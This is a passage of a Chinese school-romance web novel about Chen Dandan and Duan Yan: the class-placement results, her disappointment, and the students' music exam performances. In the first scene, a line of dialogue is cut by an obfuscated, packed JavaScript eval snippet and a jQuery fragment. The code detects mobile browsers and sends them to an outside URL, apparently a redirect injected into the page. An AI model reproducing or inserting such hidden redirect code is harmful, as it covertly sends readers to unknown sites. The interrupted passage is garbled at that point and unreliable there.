“想念这家早餐店的小笼包了。”段言说着,将手里装着早餐的袋子递给她。 陈丹丹没有接,脚步朝早餐店的方向动了动,“你吃吧,我再去买点。” 段言一手拉住她的胳膊制止她的动作,转瞬又放下,“我已经吃过了,这是买给你的。” “买给我的?”陈丹丹重复了一遍,“怎么会?!我们不是刚巧在这边碰到吗?” “我昨晚给你发消息你没回,怕你压力太大找块豆腐把自己撞傻了。”段言给温热的豆浆插上吸管,正要递给她,想起空腹喝豆浆对身体不好,转而把那袋小笼包给她。 一考完试他就给陈丹丹发了Q.Q信息,询问她的考试情况。她一晚上没回消息,段言就担心了一晚上。 临时爽约不是他的风格,但约好的打球他实在没心情去,和俞秉文发了条抱歉的信息后就一大清早跑过来,想着买份她喜欢的早餐去找她。 陈丹丹在路边的长椅坐下,打开塑料袋上面的蝴蝶结,咬了口冒着热气香喷喷的小笼包,笑得眉眼弯弯。 “你担心我没考好备受打击啊?”一个小笼包下肚,她笑眯眯地接过段言递到她嘴边的豆浆,“我可没那么脆弱好嘛,顶多忧愁哀伤一晚上,第二天醒来我又是一条好汉。” 听到了意料之外的回答,段言失笑,他在陈丹丹右边的位置坐下,看她一个小笼包一口豆浆地吃早餐,顺着她的话道,“是,陈掌门英勇顽强,才不会被区区一点小困难打倒。” 陈丹丹差点被噎死。 眼前仿佛多出来一幅画面: 小女孩儿刚吹嘘完自己是武功高强的陈掌门,就被脚边的石头绊倒。她若无其事地站起来,裤子上的灰尘都没拍干净,扬起脑袋气势十足地说:“我陈掌门英勇顽强,才不会被区区一块小石头绊倒。” 那小模样,骄傲又神气。 如今,既不骄傲又不神气的女孩子难以置信地转过头,怒目圆睁:“说好了不拿我小时候的糗事揶揄我的,怎么又拿我寻开心?” “这怎么能算糗事?”段言安抚地拍拍她的脑袋,“这顶多算是积极向上的童言童语。” 陈丹丹转过脑袋,在他看不见的角度哼了声。 段言一手扣住她的脑袋,让她转过来,“要对答案吗?” “答案?哪来的答案?”和段言视线对上的一瞬间,陈丹丹明了,“也是,以你高的吓死人的正确率来说,你做出来的答案和标准答案也没差了。” 说不准他的解题思路比参考答案还清晰简单,更像是标准答案呢。 “所以,要对一对答案吗?”段言声音散漫,“趁着昨晚还有印象,我回家之后把所有的答案都默写下来了。” 这话说得,怪欠揍的。 眼看段言从兜里掏出张写满字的草稿纸,陈丹丹赶紧打住,“我不对答案!你就饶了我吧,让我再愉快地度过这最后一个周末。” “好吧。”既然陈丹丹不需要,那么这张写满答案的纸也没有留下来的必要了,段言把纸团成一团,投进不远处的橙色垃圾车里,“为什么说这是最后一个周末?” “因为不管分班考试的结果是什么,成绩出来之后,我都会更努力地学习,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604502|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下个学期我们就高三了耶,那更得死命地学了。”陈丹丹吃掉最后一个小笼包,咽下最后一口豆浆,“航哥说过,没有付出就不要去想收获,付出越多,收获才会越多。” 段言两只手撑在长椅上,身子往后倾斜:“嗯,很有道理的一句话。” 他没有再问陈丹丹考得怎么样,陈丹丹卷了卷塑料袋,正要起身走到垃圾车旁扔掉垃圾,心里一动,学着段言的样子,把团起来的塑料袋抛掷进去。 有点解压诶。 忽然间,也不想强撑什么坚强了,陈丹丹微微垂头,缓慢开口道:“其实,我觉得这次理综题挺难的,我没什么把握。” 她的声音带着些许沮丧:“可能要辜负你的补课了,段老师。” 其实高一的时候,陈丹丹的数理化生都学得很不错,高二刚开始也还好,但不知道为什么,自从开始考综合的、杂糅各阶段知识点的理综时,她的成绩就会下降。 她不理解的是,为什么课本难度、深度为3,老师讲的例题难度、深度为6,高一和高二上学期出题的难度、深度为6,而这学期的题目难度、深度陡然间上升到9.999,无限超出她本来的能力范围。 段言给她补课也不过短短几周,即使她再努力再用功,还是同其他擅长理综的学霸学神存在一定的差距。毕竟她在拼命努力的时候,其他同学也在极力往前追赶。 她或许早就有心理准备,但还是辜负了辛苦给她补课的段老师。 段言见不得她这副垂头丧气小猫咪的样子,屈起手指在她脑袋上一敲,“换个角度想想,这次的理综对你来说很难,对其他同学来说也一样的难,大家都不会做那些难题,不就扯平了?” “可是还是有同学会做啊,”陈丹丹鼓鼓脸颊,认真地问,“那好,我问你,段言你会做吗?” “……会。”段言快要招架不住她带着懊恼时可爱的表情,偏过头去不看她,“但我会做不代表所有同学都会做,综合你最近的小测成绩来看,只要你发挥正常,起码进火箭二班是没有问题的,进火箭一班也不是没希望,陈丹丹同学,我对你很有信心,你也要对你自己有信心。” 高中学生的信心很大程度是建立在分数上的,这次的分班考试瓦解了陈丹丹原本就不多的信心。 不知怎么的,陈丹丹想起程阿姨说过的话,对自己学理科的能力和天赋有了怀疑,“你说,我是不是当初不该选择理科?女生是不是真的不适合学理科?” 段言轻笑一声:“屠呦呦、黄令仪、居里夫人……” 他说了一大串名字,有的名字陈丹丹听过,有的没有,她不解其意地问:“你背这些名字干嘛?” “我在向你证明,理科学得好不好和性别无关,不要以一己之力代表所有女性。” 突如其来的犀利让陈丹丹陷入沉默。 ……段老师熟悉的嘲讽又来了,可是她破了洞的信心好像被缝缝补补地填满了一些。 这人还在激她:“不知道你从哪里听来那些没有道理的话,不过,你不想证明一下,你可以做的到吗?” 陈丹丹望着他的眼睛,好像被蛊惑一般,用力点了点头。 “这就对了,”段言勾了勾唇,“孺子可教也,你还是挺聪明的。” 段言居然夸她聪明?! 陈丹丹怀疑自己听错了,“你刚才说什么我没听清,你再说一遍。” 段言瞥她眼:“好话不说二遍。” 陈丹丹:“……” 果然这才是熟悉的配方。 …… 手表上的分针一点一点移动,越来越多的食客出入附近的早餐店。 陈丹丹站起来伸了个懒腰,看着不远处熙熙攘攘的人群,看着远方升起的太阳,新的一天,新的清晨,整个城市充满了新的活力,注入了新的生机,她也逐渐充满电。 压在心底的巨石被人往旁边挪了挪。陈丹丹双手背在身后,微微俯身,对段言说道:“谢谢你啊,我心情好多了。现在就……各回各家?” 段言坐在那里没动,直视她的眼睛:“你这是用完就扔?” 陈丹丹:“?” 他站起身,没有填过早餐的胃正在抗议:“我还饿着,陪我吃个早餐。” “你不是已经吃过了吗?” “又饿了行不行?” “……行。” 27. 二十七颗青梅 命运这一次没有眷顾陈丹丹。 她是周一早上在教学楼底下的公示栏上看到分班信息的。 当时公示栏跟前挤满了人,陈丹丹的身高并不占据优势,只好等前面一批同学看完之后,从书包里掏出眼镜架在鼻梁上,踮起脚尖看一张张A4纸上面的印刷字体。 她从火箭一班的名单往下看。 第一名,段言。 第二名,路易平。 第三名,邹敏洁。 …… 一直到最后一名,沈作闻。 还是没有她的名字。 陈丹丹不死心地从头到尾又看了一遍,还是没有发现她的名字。接着往后看火箭二班的名单,终于在中间的位置看到了她的名字,在靠后的位置看到了祝思倩和俞秉文的名字。 这下她才有心情研究名字后面的分数和单科排名。 不出意外的,段言的数学和理综排名均为年级第一,语文排在年级前三十,英语排在年级第五,是任何同学看到了之后都会羡慕地“哇塞”一声的程度。 陈丹丹又研究了一下她自己的排名。语文排在年级第一,139分;英语排在年级第二,142分;数学排名不高,分数是120分。 相比之下,她的理综排名就很低了,刚过两百的分数排在了年级一百名开外。 说不清心里是什么感受,即使有再多的心理准备,在公示栏前看到成绩排名的那一刻,她还是无可避免地陷入了复杂的情绪。 是不甘的,是失落的,是难受的。 即使她已经很努力了,每天都在埋头刷题,却还是败在了理综上,没能超越其他同学进入火箭一班,没能和段言继续成为同班同学。 他说他相信她,但她辜负了他的信任,应该会让他失望吧。 又有点庆幸从心底冒出头来——好歹她的成绩在火箭二班中间,没有走到最坏的那一步。 “段神你又是年级第一哎!” “靠,数学满分单科第一,理综接近满分也是第一,这是什么神仙啊!” 他们没有提“你在火箭一班”这种话,显而易见的,以段言的成绩,除非他弃考或者把所有试卷的答题卡全部填错,否则他绝对会考进火箭一班。 陈丹丹侧过头,看见段言众星捧月般走在一群男生中间,刚看完公示栏的其他同学纷纷笑着恭喜他,他点头微笑。 陈丹丹两手搭在书包肩带上,攥紧了书包带子,在人群中默默转身往班级走。 虽然已经用了几天时间来接受可能出现的结果,但真的到了这一刻,还是不知道要怎么办。连她自己都对自己有些失望,这样的她,要怎么面对优秀到璀璨夺目的段言? 她不想承认,但无力又直白的事实就摊开在她面前。 自卑感不知道从何时起埋在她心里,犹如一颗会发芽长大的种子。 段言眼前的人影一晃而过,快到他来不及叫住陈丹丹,手机震动,他接起电话。 “段神,干嘛呢?给你发消息你都不回,告诉我你还活着没?” 段言被电话那头的大嗓门震了震,将手机拿远,“看分班排名。” “哇靠!你居然还会看排名?!”李为都惊呆了,这家伙常年霸占年级第一的宝座,从来都不会去看什么排名,因为他从入校以来就没有考过年级第一以外的名次,看与不看意义都不大。 “看别人的排名。”段言的目光在火箭班排名中间的某个名字上停留,又扫了眼她的单科成绩排名。 “哦,”李为恢复淡定,意识到什么,声音又突然转了个弯,“我去!你竟然还会关心别人的排名?!” 段言的回答是:“在忙,先挂了。” …… 陈丹丹一上午都过得浑浑噩噩的,倒是她周围的人,一个个活跃到不行。 祝思倩兴奋极了,“原来拜铜像真的有用诶!我本来没想到会考进火箭班的,这下走了狗屎运了,嘿嘿!” 陈丹丹勉强露出笑容,恭喜她考入火箭班。 祝思倩知晓陈丹丹的目标,自然知道她这次没能得偿所愿。不管是安慰还是真心实意的惋惜,对于丹丹来说都没有任何意义。想了想,她挽住陈丹丹的胳膊晃了晃,“说不定我们俩到时候又可以当同桌了呢!到时候我们一起好好学习,天天向上,用成绩碾压火箭一班的学霸!” 陈丹丹被她晃着晃着,也不由自主地微笑:“好啊,一起加油!” 祝思倩笑出八颗牙齿,重重点头:“嗯嗯!” 俞秉文去了老师办公室一趟,回来之后愁眉苦脸道:“我就说我怎么排名那么靠后,原来是把英语答题卡给涂错行了。” 段言乐不可支,“航哥不得气死?” 俞秉文仰倒在桌子上,“他好着呢,还有力气批评我、嘲讽我、挖苦我。他说我本来能擦着线进火箭一班的,这下好了,硬生生把自己整成火箭二班的倒数,也是厉害。” 热衷于八卦的祝思倩眼观六路,耳听八方,轻易地捕捉到了俞秉文的“光荣事迹”,她这个毫无同情心的损友哈哈大笑:“这下你可算是排在我后面了,我倒数第五,你倒数第四。” 俞秉文艰难坐直,回之以白眼:“你等着,咱们还有一年的时间较量呢!” 祝思倩也不是个轻易认输的,气势十足地回道:“等着就等着,谁怕谁啊!”她以前的成绩是不如俞秉文,但以后可说不准了,她一定奋起直追,让他好看! 路易平、姚一哲几个学霸也凑过来,笑嘻嘻地拍段言的肩膀,庆祝他们还可以“狼狈为奸”一年。 还假模假样地安慰俞秉文:“可惜了,以后我们不在一个班,体育课估计没法一起上,还怎么打球啊?” 俞秉文信了姚一哲的邪,“中午午休的时候呗,或者周末也行。” 姚一哲叹息:“也只能这样了,唉,谁让你涂错答题卡了呢?真是——” 路易平接过话:“可惜啊——” 两人一起笑起来:“你真的是要笑死我们,还能犯涂错答题卡这种低级错误,我们能笑整整一年!” 俞秉文:“……去去去!” 两人走远后,还在小声嘀咕:“这次的嘲讽应该能让俞秉文印象深刻吧?” “那必须啊,咱们都这么笑话他了,哪怕是头猪都该长点记性了。” “说的也是。” 一片热闹中,陈丹丹岿然不动,她从桌兜里掏出本物理王后雄,握住笔在草稿纸上写写画画。 她想像以前那样,屏蔽掉周围所有嘈杂的声音,坐在座位上专专心心地刷题。 可是这一次,她没能做到。 周围所有的声音都在她耳边放大,她听见有的同学激动到极点,难以置信自己考入了火箭班;有的同学很平静地恭喜其他同学考入火箭一班;还有的同学痛心疾首,哀嚎自己错了不该错的题目,以两分之差与火箭班失之交臂。 这一切的热闹都与陈丹丹无关,她不想听见这些声音,不想面对所有人。她只想缩进自己的保护壳里,独自一人。 于是,她也就没有发现段言无数次欲言又止望向她的目光。 上午最后一节是航哥的课,他走进教室后,首先恭喜了顺利考进火箭班的同学们,然后又鼓励了一番因为各种原因没能考入火箭班的其他同学。 “这次的分班考试不是你们努力的终点,而是你们继续努力的起点,这次顶多算是其中一部分同学的阶段性胜利,另外一部分同学的阶段性失利。我知道大家都是很优秀的学 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不料航哥话锋一转:“在这里我要提醒大家,以后考试可别犯一些低级错误了。个别同学在这次考试中填错了答题卡,导致成绩不是很理想。以后再有同学犯这种可笑的错误,千万别说是我教出来的啊,咱丢不起这个人!” 这是被老师“开除学籍”了?讲台底下有知情的同学捂嘴偷笑。 周立阳从前面扭过头,对着俞秉文的方向嘿嘿笑了几声,成功得到来自对方的大白眼。 航哥讲完了“题外话”,抖了抖手中的卷子,开始这堂课的正文部分,“接下来我给大家讲一讲这次考试的数学试卷,这个卷子是我和其他几个数学老师一起出的,有往年高考题的一些变形题,还有我们研究了命题趋势之后出出来的创新题,你们记得好好订正错题,复盘一下。” 陈丹丹拿起课间数学课代表发给她的数学试卷,看着上面鲜红的120分,抿了抿唇,认真听航哥讲解这次的卷子。 接下来的一整天,基本上都在讲解卷子中度过。 随着各科老师的讲解,陈丹丹的注意力也逐渐回转,她没有多余的思绪去在乎这一次的分班和排名,满脑子都在各种题目上打转。听课、订正试卷、剪错误的题贴到错题本上、复盘整套试卷……陈丹丹有条不紊地忙碌着。 坐在她身后的段言看见她认真的样子,也慢慢放心下来。 考场上评估了理综试卷的难度后,他其实有想过故意涂错一部分答题卡,用这样不着痕迹的方式和陈丹丹继续当同班同学,反正待在哪个班对他来说都无所谓。 但很快,这样的念头就被他否决。 她不需要他这样做,他也无须这样做。全力以赴是作为学生对每一场考试最起码的尊重,也是对老师和其他同学的尊重。 放学后,陈丹丹回到家。 书包里依旧按照她的习惯,按照笔袋、笔记本、课本、活页作业、试卷、习题集的顺序以及大小码的整整齐齐。她从书包里取出笔记本和笔袋的时候,棉花糖、荔枝味棒棒糖、大白兔奶糖也从书包里滚出来。 棉花糖的外包装上还粘着一张蓝色便利贴。 上面写着: 「加油,我坚信你可以做到。不要太在意某一次的成绩,近一年的目标是高考。」 龙飞凤舞的钢笔字,熟悉到一看就知道是谁写的。 陈丹丹愣了两秒,情不自禁地笑出来。 说得很对啊,在全年级都极度关注本次分班考试的氛围里,她也不知不觉间沉浸其中,忽略了最重要的一点——分班只是又一个新的开始,真正的考验还在后面。 小心翼翼地将便利贴放进日记本后,陈丹丹撕开棉花糖袋子,一口一个小棉花糖地吃着。 很开心。 也更有动力刷题了。 28. 二十八颗青梅 接下来的日子过的飞快,快到陈丹丹都想到了“光阴似箭”这个词语。 紧张忙碌的复习过后,同学们又迎来了期末考试。最先进行的,自然是音乐、体育等等不太重要(不会计入总排名)的科目考试。 留着棕色大波浪头发的音乐老师久违地出现在同学们面前,告诉大家自选歌曲演唱,以现场演唱的质量作为期末考试打分的重要参考。 “什么歌都可以?”沸腾的班级里,有同学大声问道。 “是的,老歌、流行歌都可以,哪怕你们唱美声,我也举双手双脚赞成。”音乐老师笑道。 “可以用乐器吗?”又有同学问道。 “乐器自备,”音乐老师用四个字回答,然后补充道,“如果没有带乐器,那就把伴奏下载到U盘里带过来。” 陈丹丹在脑海里搜索了一圈适合的歌曲,回家后把MP4打开,从头到尾翻了几遍歌单,最终选定一首歌曲。 一首段言曾经给她唱过、她目前最想唱的歌曲。 《倔强》。 第二天,祝思倩一放下书包就问陈丹丹:“丹丹,你想好音乐考试唱什么了吗?” “想好了,”陈丹丹把书包挂在椅子上,“我就唱《倔强》。” “好烦啊,我还没想好唱什么。”祝思倩一头栽倒在桌子上,“我觉得《泡沫》不错哎,《致青春》也可以,还有《烟花易冷》也挺适合我的,啊啊啊我好纠结!” “是有点难以抉择诶,”陈丹丹想了想,提议道,“要不扔橡皮决定?” 据她观察,祝思倩做英语完形填空的时候,每当她排除了两个选项,剩下两个二选一,她基本上都会扔橡皮来决定。 “好主意!”祝思倩从笔袋里掏出她橡皮,六个面都被她用中性笔画上了不同的点数,“一点和二点是《泡沫》,三四点是《致青春》,五六点就是《烟花易冷》。” 橡皮一抛—— 陈丹丹和祝思倩都等着橡皮落地出结果。 被两双眼睛死死盯住的橡皮落在了一只手掌里。 “又在这玩什么?”俞秉文动作灵活地握住橡皮,走位清奇地躲过了祝思倩给出的一掌,坐在了他的座位上。 “选歌啦!”祝思倩没好气地说,“你快把橡皮还给我,让我再扔一次。” “要不要这么迷信啊,”俞秉文把橡皮往空中一抛,“我给你扔一次。” “……我才不咧!” 祝思倩在空中抢回了橡皮,塞进陈丹丹手中,双手合十拜托她,“丹丹,我刚刚扔了一次,再扔就不灵了,你给我扔一次好不好?扔高一点啊。” 陈丹丹无可奈何地站起身,将橡皮抛向空中。 没扔准,眼看着橡皮要落到地上——又一只修长的手稳稳地接住了橡皮,把它放回陈丹丹桌上。 “一大清早的,你又在这里表演杂技?”含笑的声音穿过陈丹丹的耳膜,她下意识抬头,目光所及之处,是阳光下少年干净的笑容。 “不、不是,”陈丹丹卡壳了一下,“我们在这里选音乐考试要唱的歌。” “还没选好?”段言轻挑眉梢。 陈丹丹头还没点下去,俞秉文就插话道:“不是谁都有我这样的高效率,分分钟就能把要唱的歌曲选好。” 段言:“……” “你选的什么歌?”祝思倩也不计较俞秉文刚才抢夺橡皮的事情了,转而兴致勃勃地问道。 俞秉文眉飞色舞地说:“歌名我暂时不能告诉你,不过我可以给你一个小小的提示。”他搓搓大拇指和食指,嘿嘿笑了两声,“这是一首朗朗上口的歌,一首能在瞬间high翻全场的歌~” “凤凰传奇的歌?” “你猜~” 祝思倩一看他那欠扁的样子,气不打一处来,“你猜我猜不猜!” 两个人幼稚地在那里循环了半天“猜不猜”,陈丹丹简直没眼看,她把今天上午要用到的课本和习题册、试卷找出来,整整齐齐地在桌上码好,扭过头问段言:“你想好唱什么了吗?” 段言从一本厚厚的《瓦尔登湖》中抬头:“想知道?” “嗯嗯!”陈丹丹猛点头。 他修长的手指翻过一页书,阳光在他的指尖跳跃,然而他说出来的话却是那样冰冷,“那你就想吧。” 陈丹丹:“?” 可恶!这说的是人话吗! 我才不想呢! 反正到时候就知道了。 …… 音乐考试当天,老师提前通知课代表带大家去多功能厅教室,不少同学或拿或背的带上了自己的乐器,也有同学嫌麻烦,和陈丹丹一样只准备了U盘。 同学们走进多功能厅教室的时候,老师已经站在了台上,她穿着波西米亚风格的长裙,心形耳环在卷发里若隐若现,“按照学号顺序进行演唱,1号先来。”她从台上走下来,坐在第一排正中间,摆出一副洗耳恭听的架势。 1号是他们班班长,姚一哲。 他从容淡定地拿着U盘走到台上,调试好设备,唱了首周杰伦的《七里香》,收获一片掌声。 接下来,同学们陆陆续续地上台演奏,《平凡之路》《穿越火线》《小幸运》《小情歌》……Beyond的《喜欢你》、《冰雪奇缘》的主题曲《Letitgo》,甚至是《小苹果》这样的洗脑神曲,都被同学们唱了个遍。 没错,居然有同学在学校的音乐期末考试中演唱《小苹果》,这个神奇的同学就是俞秉文。 前奏响起时,至少有一半的同学都忍不住开始抖腿,俞秉文咧开嘴,身体前倾唱出第一句“我种下一颗种子,终于长出了果实”。 不愧是洗脑神曲,台下的同学们控制不住地咧开嘴,跟他一起唱。唱到副歌部分,俞秉文还一只手握住话筒,一只手高高举起在空中左右晃动,整个多功能教室的气氛high到极点。 所有的同学一起大声唱: “生命虽短爱你永远不离不弃! 你是我的小呀小苹果~ 怎么爱你都不嫌多! ……” 陈丹丹和祝思倩两个坐在教室第五排边上,她们一边跟唱,一边摆动身体,四目相对时,两个人都难以抑制地笑出声。她们伸长脖子望向第一排,只见美丽优雅的音乐老师和她们做着同款动作,身体跟随音乐的节奏摇摇晃晃。 被音乐老师借来用于同学们音乐课期末考试演唱的多功能厅教室,硬生生被俞秉文搞出了广场舞现场的氛围。 热烈、肆意、欢笑。 唱完最后一句,俞秉文目视下方的同学们,“祝大家永远开心,永远都能开怀大笑!” 即使分班,即使会进入新的班级,他也永远都会记得高二(16)班这个班级,记得这个班级里可爱的同学们。 在这个班级里,他被航哥罚过站,闹过不少笑话,也在打篮球伤了腿之后被老师和同学们关心过。他和朋友们扔过纸飞机,也下过五子棋和象棋,玩过三国杀。他和前后桌拌过嘴,也一起抄过作业。 他舍不得这个班级,也舍不得老师和同学们。 俞秉文的祝福话语仿佛开启了什么开关,接下来演唱的同学们在演唱开始前或者结束后,都会说出一句衷心的祝福。 “我唱的是《蜗牛》,祝大家都能和蜗牛一样,一步一步爬向梦想的终点!” “王菲的《匆匆那年》带给大家,愿我们都能拥有不悔的青春!” “一首《李白》带给大家。希望大家遵从本心,率性自由!” 唱当前流行歌曲的同学不在少数,不过大家唱的最多的,还是一些火了好几年的歌曲——陈丹丹已经听两位同学演唱了《稻香》。 当然,不是所有同学都淡定自若,起码陈丹丹就看到有同学全程不敢看台下的人,一直盯着教室后面的天花板。还有的同学视线过高,看起来活像是全程都在翻白眼。更有几个同学,刚开始演唱的时候声音都有点抖,唱了三分之一左右才平稳下来。 轮到陈丹丹演唱时,她尽量镇定地往台上走,为了避免和台下的老师同学对视,上课时一向会带上眼镜的她这次特意没有戴眼镜。 插上U盘,点击播放,她在话筒前站定,等待前奏部分过去。正式演唱的时候,陈丹丹将视线投向最后一排没有人的座位。 那里空荡荡的,只有桌椅和阳光。 “当我和世界不一样 那就让我不一样 坚持对我来说就是以刚克刚 ……” 或许是前面这一段唱的太过顺利,陈丹丹放松了警惕,视线从最后一排逐渐向前移转。 “我就是我自己的神 在我活的地方” 多功能厅教室很大,前面几排也没坐人。再往前,只坐着寥寥几位同学。陈丹丹没有戴眼镜,完全看不清楚这几位同学是谁,他们的面孔无线模糊,没有带来任何压迫或者紧张感。 演唱还在继续。 “下一站是不是天堂 就算失望不能绝望 ……” 当陈丹丹唱到“啦啦啦啦啦啦啦啦”的时候,她飘忽不定的眼神陡然间和段言对上。 站在台上的她和台下的段言相隔很远,她根本看不清楚他的五官,但在一片模糊中,她无比确定,同样身穿校服、坐在一排排同学中的男生就是段言。他穿着校服,挺直的背往后一靠,看起来懒懒散散的,又有一种青春校园剧男主角的少年意气,身在人群中,却没有被人群淹没。 目光交汇的刹那,陈丹丹一个呆愣,紧张之下完全控制不住自己的声线,把好几句“啦啦啦啦啦啦啦啦”全唱跑调了,整首歌的和谐就这样被破坏,显得有些怪异。 陈丹丹只得寄希望于音乐老师没有听过这首歌,辨别不出她跑偏的音。至于段言……她完全不想知道他现在的表情是嘲笑还是无语。 拔掉U盘,下台回到座位后,陈丹丹一头埋进胳膊里,祝思倩拍拍她的肩膀:“丹丹,你唱的可好了!” “哪里好,我都跑调了。”陈丹丹欲哭无泪。 唱自己喜欢的歌,还在全班同学和老师的面前唱跑调好几句,真的有点丢脸。前面的同学固然也有音不准的现象,可人家顶多是个别的字音不准,哪像她,直接连着唱跑调好几句,唱出来的每一个“啦”都不在调调上。 “你没听见你下台的时候同学们的掌声有多热烈吗!”祝思倩真情实感地道,“虽然你声音挺甜的,但你唱这首歌超有感觉的!怎么说,就是那种很坚定、很热血、很少年风、很一往无前的感觉。至于后面那几句,瑕不掩瑜啦!” “真的?”陈丹丹不太自信地问。 “当然是真的!”祝思倩凑过去,偷偷告诉她,“而且我有注意到哦,你唱完之后段神给你鼓掌了~要知道,其他人唱完后,段神可是眼风都不带动一下的。” 有点小欣喜从心底冒出个泡。 陈丹丹笑眯眯地听着祝思倩和她打商量,“待会儿我唱完《致青春》,你记得给我鼓掌鼓大声一点啊, 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和所有同学一样,陈丹丹等着段言唱出第一句,没想到等来的是一段吉他前奏solo。 非常明快。 非常好听。 陈丹丹没学过吉他,无法从专业的角度去评判段言的演奏。她只看见少年一只手在抱着的吉他上按住琴弦,快速变换数根手指的位置,与之相配合的,是他另一只飞快扫动琴弦的手。他整套动作丝滑无比,就像他做任何事情,看起来都是轻而易举一般。 段言坐姿随意,音乐流淌间,歌声随之跃出。 “无聊望见了犹豫 达到理想不太易 即使有信心 斗志却抑止 ……” 标准的粤语从他口中唱出,干净抓耳的声音通过话筒传遍整间多功能厅教室,所有同学涣散的目光就这样轻而易举地被他吸引,齐齐聚焦在他的身上,台下一片“wow——” 此时此刻,陈丹丹所有的注意力都被坐在台上的少年吸引,完全听不见周围“开口跪”“不愧是段神”等感叹声。 段言脑袋微侧,熟练地弹奏吉他,一个个音符倾泻而出。他唱歌时唇角翘起,唱到沉浸之处时,他的头也会微微晃动,姿态放松又享受。 毫无疑问,他轻而易举地将复杂的演奏变为毫不费力的享受,这种完全的掌控感让人忍不住着迷。与前两位同学演奏时紧皱的眉头、无处安放的眼神、抿起的嘴角、僵硬的身体相比,他更显潇洒从容。 平时的他已经足够光彩夺目,演唱时的他光芒更甚。 很难不吸引青春年少的同学们。 班上几乎没有同学听过这首《不再犹豫》,但这并不妨碍他们为这场演奏欢欣鼓舞,挥动手臂。还有的同学暗暗在心里默念几遍《不再犹豫》,想着回家之后一定要找出这首歌把它学会。 间奏的solo过去,演唱继续。 陈丹丹听过段言唱《倔强》,歌声坚定饱含力量,也听过他唱《青春之夏》,语调轻快,青春的气息扑面而来。 这首《不再犹豫》被他唱出了全新的感觉。 不是现下最流行的快节奏歌曲,每一句的歌词也不多,偏慢的节奏唱起来却并非软绵绵的,反而带来了另一种坚定和热血沸腾。 “Wooho 梦想有日达成 找到心底梦想的世界” 终可见嘿” 演奏结束,他躬身致谢,随即抱着吉他走下台。 掌声雷鸣,俞秉文几个男生带头鼓掌、欢呼、怪叫。班上的女生要矜持一点,没有跟着怪叫,不过也两手放在脸颊边做喇叭状,大声欢呼。 陈丹丹被这种气氛所感染,隐在人群里跟着小声欢呼。 段言在万众瞩目中走下台。经过陈丹丹的座位时,他轻挑眉梢,唇角弯起,有点幼稚的得意,又像是在求表扬。 ——我唱的是不是很好? 有点好笑,演奏时的他挥洒自如、自信从容,收获一片掌声和欣赏崇拜的目光时,他淡定自若。看见陈丹丹时,他却难得的露出了幼稚的一面。 陈丹丹竖起大拇指表达她的赞赏。 ——非常好听。 原本酷酷的少年嘴角的笑容扩得更大了。 这是独属于他们的秘密。其他同学只看见段言走着走着忽然笑起来,估计是想起了什么好笑的事情。 可真要命。 冷冷酷酷的样子都够帅了,没想到笑起来魅力值翻倍。 就连祝思倩这种偏爱二次元帅哥的女孩子都不得不承认,原来现实中真有这样的少年,哪怕穿简简单单的校衣校裤,也比其他人帅一大截,笑起来的样子更是比动漫里走出来的男主还要好看。 回过神后,祝思倩的注意力转回了刚才的歌。 她戳戳陈丹丹的胳膊,“虽然我听不懂粤语,不知道段神唱的是什么歌词,但是他唱出来真的好好听!” 陈丹丹收敛表情,点点头赞同道:“是很好听。” 她外婆以前在广省生活了二十多年,习惯说粤语,自然而然的,陈丹丹也会些粤语,所以她能听懂这首歌全部的歌词。 也更能感受到段言的用心。 ——分班在即,把衷心的祝福带给大家。 ——高考在即,不要再犹豫,向着梦想前进。 她接收到了。 29. 二十九颗青梅 “梦想有日达成,找到心底梦想的世界……” 课间,陈丹丹像是着了魔似的,一边订正错题,一边循环哼唱《不再犹豫》的副歌部分。 坐在她旁边看漫画书的祝思倩脑袋一偏,歪了歪嘴角,肯定地说:“是段神唱过的《不再犹豫》。” “嗯,”陈丹丹掩耳盗铃般解释,“这首歌听起来太洗脑了。” 所以她才会哼唱这首歌。 “我懂我懂,你没发现今天咱们班好些人都在哼这首歌吗?”祝思倩发出感慨,“不愧是段神,以一己之力在咱们学校带火了这首歌。” “咱们学校?”陈丹丹精准捕捉到了关键词。 “对啊,不知道哪个同学给段言的演唱录了音,他的音频现在在咱们学校的各种Q.Q小群里流传,好多人都说发现了一首宝藏歌曲,”祝思倩啧啧道,“这下喜欢段校草的女生该中毒更深了。” 陈丹丹放下笔,单手搭在祝思倩的肩膀上,语重心长地说:“倩倩,你要好好学语文了。” 喜欢一个优秀的人,那能叫中毒吗? 顶多叫追光而行。 祝思倩只以为好朋友是在担心她的成绩,感动之余,点头如捣蒜般保证,“我一定加油学!” …… 大家都知道分别在即,不舍的情绪逐渐蔓延。不知道从什么时候开始,各式各样的同学录开始在班上流传。 高中时期的陈丹丹早就养成了非必要不和其他同学说话的性格,和班上很多同学都不熟,她还以为她只会收到前后左右几位同学的同学录,没想到班上有一大半的同学都拜托她填同学录。她也因此见识到了如今的同学录种类之繁多—— 紫色的、蓝色的、粉色的、黑白的…… 背景是小猪佩奇的、漂亮花朵的、瑰丽建筑的、神秘星空的、各种名校的…… 同学录的正面是个人信息,背面是“想对ta说的话”,陈丹丹在每张同学录的背面都写下了最真挚的祝福。 「祝纪程程同学:前程似锦,永远开心!」 「祝贺之许同学:取得好成绩,早日实现你想要造飞机的梦想!」 「祝吴卉卉同学:天天开心,早日成为化学家^_^」 陈丹丹抽空在课间填同学录,祝思倩凑过来问:“丹丹,你买同学录不?” “嗯,我准备中午早点去校门口买一本。”陈丹丹嘴上说着,笔下速度不减。 要说同学情谊,班上有的同学和她共度了两年的学习时光,有的分科之后才到他们班,四舍五入也才算是和她当了一年同学,谈不上感情有多深厚。和她关系好的,也不过寥寥几人。 可是她知道,这样的同学情谊已然算是很珍贵的了。 上大学的表姐告诉她,大学是没有同桌的,他们班的同学互相之间都不是很熟悉,更谈不上有班级荣誉感这种抽象的东西。而且成年之后,很难再有不掺杂任何利益的、纯粹的同学情谊。 难得有缘成为同学,留一点纪念总是好的,就当作是青春的小礼物。 更何况—— 